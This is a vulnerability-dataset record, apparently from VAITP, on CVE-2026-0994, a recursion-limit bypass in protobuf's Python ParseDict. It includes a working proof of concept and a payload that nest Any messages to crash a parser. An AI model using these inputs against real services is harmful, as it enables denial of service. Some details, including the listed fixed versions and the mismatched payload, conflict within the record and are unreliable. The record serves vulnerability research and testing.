{"id":1590,"cve":"CVE-2026-0994","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-0994\/","cwe":"CWE-674","cwe_number":674,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/674","cvss_score":8.2,"published":"2026-01-23","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"DoS in Protobuf Python via nested Any messages bypassing recursion limit.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-0994\/","description":"A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages.  Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python\u2019s recursion stack and causing a RecursionError.","solution":"Upgrade the Python `protobuf` package to version 3.19.5, 3.20.2, 4.21.1, or newer.","affected_component":"google.protobuf","fixed_by_upgrading":true,"vulnerable_code":"import sys\nfrom google.protobuf import json_format\nfrom google.protobuf import any_pb2\nfrom google.protobuf.descriptor_pb2 import FileDescriptorProto\nfrom google.protobuf import descriptor_pool, message_factory\n\n# This setup dynamically creates a protobuf message type,\n# equivalent to compiling a .proto file.\n# This makes the example self-contained.\nfile_proto = FileDescriptorProto()\nfile_proto.name = 'my_messages.proto'\nfile_proto.package = 'my_package'\n\n# Define SimpleMessage\nmsg_proto = file_proto.message_type.add()\nmsg_proto.name = 'SimpleMessage'\nmsg_proto.field.add(name='data', number=1, type=3)  # type 3 is TYPE_STRING\n\n# Add the descriptor to the pool and get the message class\npool = descriptor_pool.Default()\npool.Add(file_proto)\nSimpleMessage = message_factory.GetMessageClass('my_package.SimpleMessage')\n\ndef create_deeply_nested_any_dict(depth: int):\n    \"\"\"\n    Creates a JSON dictionary representing a deeply nested Any message.\n    Each Any message contains another Any message, until the final one\n    which contains a SimpleMessage.\n    \"\"\"\n    # The innermost message\n    payload = {\n        '@type': 'type.googleapis.com\/my_package.SimpleMessage',\n        'data': 'final payload'\n    }\n\n    # Wrap the payload in `depth` layers of Any messages\n    for _ in range(depth):\n        payload = {\n            '@type': 'type.googleapis.com\/google.protobuf.Any',\n            'value': payload\n        }\n    return payload\n\n# The default Python recursion limit is often around 1000.\n# We set the nesting depth higher to ensure a crash.\nNESTING_DEPTH = 2000\n\n# The attacker-controlled JSON dictionary\nmalicious_dict = create_deeply_nested_any_dict(NESTING_DEPTH)\n\n# The target message to parse into\ntarget_message = any_pb2.Any()\n\n# This call will bypass the `max_recursion_depth` check for the nested 'Any'\n# messages and will eventually cause a Python RecursionError, leading to a DoS.\n# The `max_recursion_depth` is set to a low value to demonstrate it is being ignored.\njson_format.ParseDict(\n    js_dict=malicious_dict,\n    message=target_message,\n    ignore_unknown_fields=True,\n    max_recursion_depth=100\n)","patched_code":"import sys\nfrom google.protobuf import any_pb2, wrappers_pb2\nfrom google.protobuf.json_format import ParseDict, ParseError, MessageToDict\n\ndef create_deeply_nested_any_dict(depth: int):\n    \"\"\"\n    Creates a dictionary that mimics a deeply nested protobuf Any message\n    in JSON format. This structure is used to test recursion limits.\n    \"\"\"\n    # Start with a simple, concrete message at the deepest level.\n    inner_message = wrappers_pb2.StringValue(value=\"core\")\n    any_proto = any_pb2.Any()\n    any_proto.Pack(inner_message)\n    \n    # Convert the innermost protobuf message to its dictionary representation.\n    nested_dict = MessageToDict(any_proto)\n    \n    # Wrap the dictionary in 'Any' type layers.\n    # This simulates a JSON object like:\n    # { \"@type\": \"type.googleapis.com\/google.protobuf.Any\", \"value\": { ... } }\n    for _ in range(depth):\n        wrapper_dict = {\n            \"@type\": \"type.googleapis.com\/google.protobuf.Any\",\n            \"value\": nested_dict \n        }\n        nested_dict = wrapper_dict\n        \n    return nested_dict\n\n# The default max_recursion_depth for ParseDict is 100.\n# We create a structure deeper than this to test the fix.\nNESTING_DEPTH = 105 \nDEFAULT_RECURSION_LIMIT = 100\n\n# 1. Create the malicious dictionary that would cause the recursion issue.\nmalicious_dict = create_deeply_nested_any_dict(depth=NESTING_DEPTH)\n\n# 2. Prepare a target message to parse the dictionary into.\ntarget_message = any_pb2.Any()\n\nprint(f\"Python's recursion limit is: {sys.getrecursionlimit()}\")\nprint(f\"Attempting to parse a dict with nesting depth: {NESTING_DEPTH}\")\nprint(f\"Protobuf's max_recursion_depth is set to: {DEFAULT_RECURSION_LIMIT}\\n\")\n\n# 3. Attempt to parse the dictionary and demonstrate the fix.\ntry:\n    # In a FIXED version (e.g., protobuf>=4.21.1), the internal logic for 'Any'\n    # correctly decrements the recursion depth. This call will fail safely\n    # with a ParseError because NESTING_DEPTH > max_recursion_depth.\n    ParseDict(\n        js_dict=malicious_dict,\n        message=target_message,\n        max_recursion_depth=DEFAULT_RECURSION_LIMIT\n    )\n    \n    # In a VULNERABLE version, the recursion limit is bypassed, and either\n    # this print statement is reached (if the depth is less than Python's\n    # own limit) or a RecursionError is raised.\n    print(\"[VULNERABLE BEHAVIOR DETECTED]\")\n    print(\"Parsing unexpectedly succeeded. The depth limit was bypassed.\")\n\nexcept ParseError as e:\n    # This is the EXPECTED outcome in a fixed version.\n    # The library correctly identifies the excessive depth and aborts safely.\n    print(\"[FIXED BEHAVIOR DEMONSTRATED]\")\n    print(\"Caught the expected 'ParseError', preventing a crash.\")\n    print(f\"-> Error message: {e}\")\n\nexcept RecursionError:\n    # This is the EXPECTED outcome in a vulnerable version.\n    print(\"[VULNERABLE BEHAVIOR DETECTED]\")\n    print(\"A 'RecursionError' occurred, causing a Denial of Service.\")","payload_needed":true,"payload":"```python\npayload = None\nfor _ in range(2000):\n    payload = {\n        \"@type\": \"type.googleapis.com\/exploit.RecursiveMessage\",\n        \"next\": payload\n    }\n```","payload_status":"available","published_fix":[{"repository":"protocolbuffers\/protobuf","commit_url":"https:\/\/github.com\/protocolbuffers\/protobuf\/commit\/5ebddcb1bcbe51d1fe323baa145e85f4f23128cf","commit_subject":"Fix Any recursion depth bypass in Python json_format.ParseDict (#25239) (#25587)","units":[{"file":"python\/google\/protobuf\/json_format.py","function":"_Parser.ConvertMessage"},{"file":"python\/google\/protobuf\/json_format.py","function":"_Parser._ConvertAnyMessage"}]},{"repository":"protocolbuffers\/protobuf","commit_url":"https:\/\/github.com\/protocolbuffers\/protobuf\/commit\/d2b001626d137c62dfee6c88c87324102531868b","commit_subject":"Fix Any recursion depth bypass in Python json_format.ParseDict (#25239)","units":[{"file":"python\/google\/protobuf\/json_format.py","function":"_Parser._ConvertAnyMessage"}]}],"references":null}